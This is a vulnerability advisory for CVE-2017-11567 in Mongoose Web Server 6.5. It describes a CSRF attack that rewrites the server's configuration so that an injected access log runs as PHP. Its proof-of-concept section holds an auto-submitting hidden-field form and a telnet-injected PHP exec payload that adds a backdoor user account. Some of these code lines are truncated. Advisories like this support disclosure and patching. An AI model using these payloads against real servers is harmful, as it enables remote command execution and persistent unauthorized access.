Mongoose Web Server (Free Edition)
Mongoose-free-6.5.exe
Download: https://cesanta.com/binary.
Mongoose - GitHub's most popular embedded web server
and multi-protocol networking library
Mongoose Embedded Web Server Library - Mongoose is more than an embedded webserver. It is a multi-protocol embedded networking library
with functions including TCP, HTTP client and server, WebSocket client and server, MQTT client and broker and much more.
Vulnerability Type:
===================
CSRF - Command Execution
CVE Reference:
==============
CVE-2017-11567
Security Issue:
================
Remote attackers who can lure a Mongoose web server user into clicking a malicious link or visit attacker controlled web page
can execute system commands on the system hosting Mongoose server. However, IF Mongoose web server is installed as service then
executing programs e.g. "calc.exe" may at times crash or fail to appear, but you may see it in Windows taskmgr.exe.
Therefore, from my tests commands may become unstable when Mongoose is run as a service.
When Mongoose is run standard mode attackers can potentially modify "Mongoose.conf" and create arbitrary files on server like .PHP etc.
to point Mongoose to this as its new "index" file. Then you need to tell Mongoose its "access_log_file" is the new attacker generated
file, after injecting commands into Mongoose web servers log file that will get excuted when log file is later requested.
This vulnerability requires CGI interpreter to be already set or some information about the target is known like the CGI path and language
"pl,php,cgi" used, so when we can set to use correct programming language when file is created during initial CRSF attack.
Note: If running commands with arguments, we have to use "\t" tab chars as using space will break our TELNET based code injection
to the server log.
e.g.
GET<?php exec("cmd.exe\t/c\tnet\tuser\
OR just TELNET to Mongoose web server, inject arbitrary commands, then call exec by making another TELNET HTTP GET.
After Command Injection "Mongoose.conf" will be:
# Mongoose web server configuration file.
# For detailed description of every option, visit
# https://github.com/cesanta/
# Lines starting with '#' and empty lines are ignored.
# To make a change, remove leading '#', modify option's value,
# save this file and then restart Mongoose.
# access_control_list
access_log_file C:\Mongoose.access.php <======= BOOM
# auth_domain mydomain.com

Exploit/POC:
=============
1) add backdoor account POC.
<form action="http://127.0.0.1:8080/
<input type="hidden" name="access_log_file" value="Mongoose.access.php">
<input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.php">
<input type="hidden" name="index_files" value="Mongoose.access.php">
<input type="hidden" name="cgi_interpreter" value="c:\xampp\php\php.exe">
<script>document.forms[0].
</form>
2) TELNET x.x.x.x 8080
GET<?php exec("cmd.exe\t/c\tnet\tuser\
Enter
Enter
TELNET x.x.x.x 8080
